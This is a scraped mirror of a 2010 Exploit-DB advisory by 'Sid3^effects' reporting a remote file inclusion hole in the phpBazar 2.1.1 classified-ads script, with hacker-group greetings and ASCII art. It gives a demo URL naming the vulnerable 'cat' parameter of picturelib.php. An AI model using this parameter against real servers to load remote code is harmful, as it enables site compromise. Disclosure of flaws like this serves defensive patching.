phpBazar 2.1.1 stable – Remote File Inclusion

• Exploit Database
• 169 阅读

• 作者： Sid3^effects
  日期： 2010-06-03
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/12855/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38

  # Title: phpBazar V2.1.1 stable rfi Vulnerability # Author: Sid3^effects # Published: 2010-06-03 # Verison: 2.1.1 stable # vendor: SmartISoft   ooooo.oooooo.oooooo oooooo oooo 888&apos; d8P&apos;</code>Y8b<code>888.</code>888. .8&apos; 888 888 <code>888. .8888. .8&apos; 888 888</code>888.8&apos;<code>888. .8&apos; 888 888 </code>888.8&apos;<code>888.8&apos; 888 </code>88booo<code>888&apos;</code>888&apos; o888o <code>Y8bood8P&apos; </code>8&apos;`8&apos;   -------------------------------------------------------------------------------------- #####################Sid3^effects aKa HaRi################################## #Greetz to all Andhra Hackers and ICW Memebers[Indian Cyber Warriors] #Thanks:*L0rd ÇrusAdêr*,d4rk-blu™®,R45C4L idi0th4ck3r,CR4C|< 008,M4n0j,MaYuR #ShouTZ:kedar,dec0d3r,41.w4r10r #Catch us at www.andhrahackers.com or www.teamicw.in ############################################################################ Description : phpBazar is a PHP/MySQL-based higly customizable template-driven classified ad script. Features: Install tool, Multi-languare support, Easy configuration via CSS, User management, Ad pictures stored in MySQL or text file, Ad attachments, Unlimited categories, Structured category display, Picture display, WebMail, Send URL-refer, My ad entries, My ad favorites, Search engine, Ad rating, CatNotify, Expired ads notification, Ad-of-the-Day, Flood protection, Member list/search/details, IP-logging/banning, E-mail and username banning, Dirty and long word filter, Admin ad-approval, Web admin panel, Useronline, and more. Includes guestbook, voting script and Forum & Chat interface. English, German and French languages incl. Also available are picture library, sales, and chat options ############################################################################ The older versions of phpBazar had many vulnerabilities and the latest verion of phpBazar V2.1.1 stable has got rfi bug Xploit : demo url:http://server/bazar/picturelib.php?cat=[rfi] ############################################################################ #Sid3^effects